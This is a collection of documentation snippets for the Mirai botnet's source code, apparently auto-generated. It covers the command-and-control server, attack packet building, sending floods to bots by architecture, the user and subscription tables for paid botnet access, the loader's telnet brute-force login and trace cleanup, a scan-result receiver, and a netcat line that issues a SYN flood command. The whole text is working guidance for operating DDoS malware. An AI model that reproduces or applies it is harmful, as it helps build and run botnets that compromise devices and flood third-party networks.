ipv4_t *bind_addrs; pthread_t to_thrd; port_t wget_host_port; uint8_t workers_len; uint8_t bind_addrs_len; int curr_worker_child; }; ``` -------------------------------- ### Consume Login Prompt Source: https://github.com/jgamblin/mirai-source-code/blob/master/_autodocs/api-reference/loader.md Detects and responds to username prompt. ```c int connection_consume_login_prompt(struct connection *conn) ``` -------------------------------- ### Build Attack Binary Packet Source: https://github.com/jgamblin/mirai-source-code/blob/master/_autodocs/api-reference/cnc-attack.md Serializes an Attack object into a binary packet ready for transmission. Ensure the total buffer size does not exceed 4096 bytes and flag value strings are under 255 bytes. ```go atk, _ := NewAttack("udp 8.8.8.8 60", 0) buf, err := atk.Build() if err != nil { log.Fatal("Build failed:", err) } // buf is ready to send to bot ``` -------------------------------- ### Users Table Schema Source: https://github.com/jgamblin/mirai-source-code/blob/master/_autodocs/api-reference/cnc-database.md Defines the structure for the 'users' table, including user credentials, bot limits, admin status, and subscription details. ```sql CREATE TABLE users ( id INT PRIMARY KEY AUTO_INCREMENT, username VARCHAR(32) UNIQUE NOT NULL, password VARCHAR(255) NOT NULL, api_key VARCHAR(255), max_bots INT DEFAULT -1, admin INT DEFAULT 0, duration_limit INT DEFAULT 0, cooldown INT DEFAULT 0, last_paid TIMESTAMP, wrc INT DEFAULT 0, /* Write-restrict flag */ intvl INT DEFAULT 30 /* Days until subscription expires */ ); ``` -------------------------------- ### Go Account Information Type Source: https://github.com/jgamblin/mirai-source-code/blob/master/_autodocs/types.md Defines a placeholder type for user account metadata in Go. ```go type AccountInfo struct { ... } // User account metadata ``` -------------------------------- ### TryLogin Source: https://github.com/jgamblin/mirai-source-code/blob/master/_autodocs/api-reference/cnc-database.md Validates username and password credentials against the users table. Returns whether the login is valid and the associated account information. ```APIDOC ## TryLogin ### Description Validates username and password credentials against the users table. Returns whether the login is valid and the associated account information. ### Signature ```go func (this *Database) TryLogin(username string, password string) (bool, AccountInfo) ``` ### Parameters #### Path Parameters - **username** (string) - Required - Username - **password** (string) - Required - Password (plaintext comparison) ### Return Type - **Valid** (bool) - True if credentials match and access is valid - **Account** (AccountInfo) - User account info if valid, empty if invalid ### Database Query ```sql SELECT username, max_bots, admin FROM users WHERE username = ? AND password = ? AND (wrc = 0 OR (UNIX_TIMESTAMP() - last_paid < intvl * 24 * 60 * 60)) ``` ### Access Control User is valid only if: 1. Username and password match exactly 2. AND either: - `wrc = 0` (not rate-limited/cancelled), OR - Account is within paid subscription interval: `(now - last_paid) < (intvl * 86400 seconds)` ### Throws - If query fails: prints error, returns (false, empty AccountInfo) ### Example ```go valid, info := database.TryLogin("admin", "mypassword") if valid { println("Logged in as:", info.username) println("Max bots:", info.maxBots) println("Admin:", info.admin) } else { println("Invalid credentials") } ``` ``` -------------------------------- ### Scan Receiver Utility Source: https://github.com/jgamblin/mirai-source-code/blob/master/ForumPost.md The `scanListen.go` utility is used to receive brute-forced results from bots on a specific port (default 48101). It acts as an intermediary, collecting results before they are sent to the loader. ```Go func listenForScans(port int, results chan<- string) { listener, err := net.Listen("tcp", fmt.Sprintf(":%d", port)) if err != nil { log.Fatalf("Failed to start listener on port %d: %v", port, err) } defer listener.Close() log.Printf("Listening for scan results on port %d...", port) for { conn, err := listener.Accept() if err != nil { log.Printf("Error accepting connection: %v", err) continue } go handleScanConnection(conn, results) } } func handleScanConnection(conn net.Conn, results chan<- string) { defer conn.Close() scanner := bufio.NewScanner(conn) for scanner.Scan() { line := scanner.Text() // Assuming each line is a "IP:PORT" string results <- line } if err := scanner.Err(); err != nil { log.Printf("Error reading from connection: %v", err) } } ``` -------------------------------- ### Queue Attack Buffer to Clients Source: https://github.com/jgamblin/mirai-source-code/blob/master/_autodocs/api-reference/cnc-clientlist.md Queues an attack buffer to be sent to clients. You can specify the maximum number of bots and a bot category filter. ```go // Send attack to all bots clientList.QueueBuf(attackBuf, -1, "") // Send attack to max 50 bots clientList.QueueBuf(attackBuf, 50, "") // Send attack only to ARM7 bots clientList.QueueBuf(attackBuf, -1, "arm7") // Send attack to max 100 ARM7 bots clientList.QueueBuf(attackBuf, 100, "arm7") ``` -------------------------------- ### Check User Attack Launchability Source: https://github.com/jgamblin/mirai-source-code/blob/master/_autodocs/api-reference/cnc-database.md Validates if a user can launch an attack based on duration limits, cooldown periods, and concurrent attack settings. Returns true if allowed, false otherwise with an error message. ```go allowed, err := database.CanLaunchAttack("attacker", 60, "udp 8.8.8.8 60", 100, 0) if !allowed { println("Attack denied:", err.Error()) } else { println("Attack approved") } ``` -------------------------------- ### Mirai CNC Server Data Flow Source: https://github.com/jgamblin/mirai-source-code/blob/master/_autodocs/INDEX.md Illustrates the data flow within the Mirai Command and Control (CNC) server, from an attacker's input to the distribution of attack commands to bots. ```text Attacker ↓ Admin Telnet (port 23) ↓ CNC Server (Golang) ├→ Parses attack command ├→ Queries database for auth/limits ├→ Builds binary attack packet └→ Queues to ClientList ↓ Distributes to Bots ↓ Bot Pool (C processes) ├→ UDP/TCP/GRE floods ├→ HTTP layer-7 └→ Keepalive heartbeat ↓ Target systems ``` -------------------------------- ### CreateUser Source: https://github.com/jgamblin/mirai-source-code/blob/master/_autodocs/api-reference/cnc-database.md Creates a new user account in the users table. Returns true if the user was created successfully, false otherwise. ```APIDOC ## CreateUser ### Description Creates a new user account in the users table. Returns true if the user was created successfully, false otherwise. ### Signature ```go func (this *Database) CreateUser(username string, password string, max_bots int, duration int, cooldown int) bool ``` ### Parameters #### Path Parameters - **username** (string) - Required - New username (must be unique) - **password** (string) - Required - Password in plaintext - **max_bots** (int) - Required - Max bots per attack (-1 = unlimited) - **duration** (int) - Required - Max attack duration in seconds (-1 = unlimited) - **cooldown** (int) - Required - Minimum seconds between attacks (0 = no cooldown) ### Return Type - **Success** (bool) - True if user created successfully ### Database Operations 1. Check if username already exists: ```sql SELECT username FROM users WHERE username = ? ``` 2. If not exists, insert new user: ```sql INSERT INTO users (username, password, max_bots, admin, last_paid, cooldown, duration_limit) VALUES (?, ?, ?, 0, UNIX_TIMESTAMP(), ?, ?) ``` New users are always created with `admin = 0` (regular user). ### Behavior - Returns false if username already exists - Returns false if query error occurs - Returns true if insert succeeds ### Throws - If query fails: prints error, returns false ``` -------------------------------- ### Domain Resolution and Connection Source: https://github.com/jgamblin/mirai-source-code/blob/master/ForumPost.md This snippet demonstrates how Mirai bots resolve a domain to establish a connection to the Command and Control (CNC) server. It is a core part of the bot's communication mechanism. ```Go func resolv(domain string) ([]net.IP, error) { var ips []net.IP // Resolve the domain name to IP addresses addrs, err := net.LookupIP(domain) if err != nil { return nil, fmt.Errorf("failed to resolve domain %s: %v", domain, err) } // Filter for IPv4 addresses for _, addr := range addrs { if ipv4 := addr.To4(); ipv4 != nil { ips = append(ips, ipv4) } } if len(ips) == 0 { return nil, fmt.Errorf("no IPv4 addresses found for domain %s", domain) } return ips, nil } ``` -------------------------------- ### Consume Cleanup Source: https://github.com/jgamblin/mirai-source-code/blob/master/_autodocs/api-reference/loader.md Cleans up traces and closes connection. ```c int connection_consume_cleanup(struct connection *conn) ``` -------------------------------- ### AddClient Source: https://github.com/jgamblin/mirai-source-code/blob/master/_autodocs/api-reference/cnc-clientlist.md Registers a new bot client into the ClientList pool. This operation is thread-safe and handled by a worker goroutine. ```APIDOC ## AddClient ### Description Registers a new bot client in the pool. ### Signature ```go func (this *ClientList) AddClient(c *Bot) ``` ### Parameters #### Path Parameters - **c** (*Bot) - Required - Bot client to add ### Behavior 1. Sends bot to `addQueue` channel 2. Worker goroutine receives and adds to map with incremented UID 3. Increments `totalCount` by 1 ### Example ```go bot := NewBot(conn, version, source) clientList.AddClient(bot) // Bot is now in the pool and can receive attacks ``` ``` -------------------------------- ### Whitelist Query Source: https://github.com/jgamblin/mirai-source-code/blob/master/_autodocs/endpoints.md SQL query to retrieve network prefixes and netmasks from the whitelist table. This data is used to enforce network restrictions on attack targets. ```sql SELECT prefix, netmask FROM whitelist ``` -------------------------------- ### FlagInfo Struct Definition Source: https://github.com/jgamblin/mirai-source-code/blob/master/_autodocs/api-reference/cnc-attack.md Defines the structure for metadata of each attack flag option, including its ID and description. ```go type FlagInfo struct { flagID uint8 // Flag identifier (0-25) flagDescription string // Human-readable description } ``` -------------------------------- ### API Command via netcat Source: https://github.com/jgamblin/mirai-source-code/blob/master/_autodocs/INDEX.md Sends an attack command to the Mirai API endpoint using netcat. The command is piped to nc, including an API key and a partial SYN flood payload. ```bash echo "myapikey|syn 10.0.0.0/8 120 syn=1" | nc localhost 101 ``` -------------------------------- ### Open Network Connection Source: https://github.com/jgamblin/mirai-source-code/blob/master/_autodocs/api-reference/loader.md Opens a TCP connection to a target device. It creates a socket, connects to the telnet port, sets non-blocking mode, and initializes the connection state. ```c void connection_open(struct connection *conn) ``` -------------------------------- ### CheckApiCode Method Source: https://github.com/jgamblin/mirai-source-code/blob/master/_autodocs/api-reference/cnc-database.md Validates an API key against the database. Returns validity and associated account information. ```go func (this *Database) CheckApiCode(apikey string) (bool, AccountInfo) ``` ```sql SELECT username, max_bots, admin FROM users WHERE api_key = ? ``` ```go valid, info := database.CheckApiCode("abc123def456") if valid { println("API key belongs to:", info.username) } ```